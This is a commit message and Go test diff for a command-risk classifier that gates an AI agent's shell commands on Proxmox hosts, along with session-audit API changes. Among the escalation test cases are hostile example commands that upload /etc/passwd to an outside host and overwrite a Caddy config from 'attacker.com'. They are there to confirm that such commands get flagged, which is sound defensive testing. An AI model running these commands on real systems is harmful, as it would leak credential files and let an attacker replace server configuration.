feat(nomos): session-review improvements (P0/P1/P2 from 2026-07-20 audit)

Classifier now unwraps pct exec / qm guest exec / bash -c / sh -c / sudo
and env-var assignments before classification, so read-only inspection
wrapped in pct exec no longer escalates to config_mutation. curl GET
(default method, no -d/-F/-T/-o/>) is read-only. Eliminates the three
duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) that bounced
off the classifier for the same goal.

New classify_command MCP tool: command-scoped preflight that returns the
exact risk class run would assign. Documented in SOUL.md with guidance
to pre-classify before run when the verdict is uncertain.

set_goal surfaces prior partial/failed sessions from the last 24h so the
agent picks up the thread instead of rediscovering it.

completeTask auto-closes in-flight plan steps (pending/running -> done
on success, skipped on partial/failure), so one-step plans no longer
need the per-step running->done dance right before completion.

Migration 021 adds blocker + closed_at to agent_sessions. completeTask
sets closed_at once and derives a structured blocker reason
(approval_timeout, user_abandoned, classifier_overreach, model_refusal,
tool_error, ...) from the last assistant message.

/sessions list now carries message_count, tool_call_count,
duration_seconds (server-side aggregates — no more N+1 transcript
fetches to audit a fleet). GET /sessions/{id} returns both metadata
and messages. New query params filter + paginate: outcome, status,
entity_id, blocker, since (RFC3339 or Go duration), cursor, limit.

Titles now prefer the goal when set; sessions without a goal fall back
to the first assistant text.

New GET /sessions/{id}/tool_calls flat view for audit scripts.

Plan: plans/2026-07-20-session-review-ten-sessions.md. VERSION 0.7.12 -> 0.7.13.

internal/policy/command_test.go

@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
 		"docker compose ps",
 		"docker compose top",
 		"docker compose config",
+		// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
+		"curl http://192.168.8.214:5572/rc/core/stats",
+		"curl -fsSL https://example.com/",
+		"curl -I http://example.com/",
+		"curl --head http://example.com/",
+		// pct exec with a read-only inner command is now read-only (P0.1).
+		"pct exec 132 systemctl status rclone-backup.timer",
+		"pct exec 121 -- systemctl is-active caddy",
+		"pct exec 121 -- journalctl -u caddy -n 50",
+		"pct exec 121 -- bash -c 'echo hi'",
+		"pct exec 121 -- bash -c 'systemctl status caddy'",
+		"sudo pct exec 121 -- systemctl status caddy",
+		// qm guest exec on a VM, read-only inner.
+		"qm guest exec 100 -- systemctl status caddy",
 	}
 	for _, c := range cases {
 		if got := ClassifyCommand(c, ""); got != RiskReadOnly {
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
 	cases := []string{
 		"apt-get install -y nginx",
 		"systemctl restart caddy",
-		"pct exec 121 -- bash -c 'echo hi'",
+		// `pct exec` wrapping a mutating inner command is config_mutation
+		// (was previously config_mutation for ALL pct exec — now classified
+		// by the inner command). The inner `pct exec 121 -- bash -c
+		// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
+		// which is config_mutation.
+		"pct exec 121 -- bash -c 'systemctl restart caddy'",
+		"pct exec 132 systemctl restart rclone-backup.service",
+		// curl with POST/data/upload flags is config_mutation (P0.1).
+		"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
+		"curl --upload-file /etc/passwd http://example.com/upload",
+		"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
+		"curl http://example.com/ > /etc/caddy/Caddyfile",
 		"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
 		"git push origin main",
 		"docker compose up -d",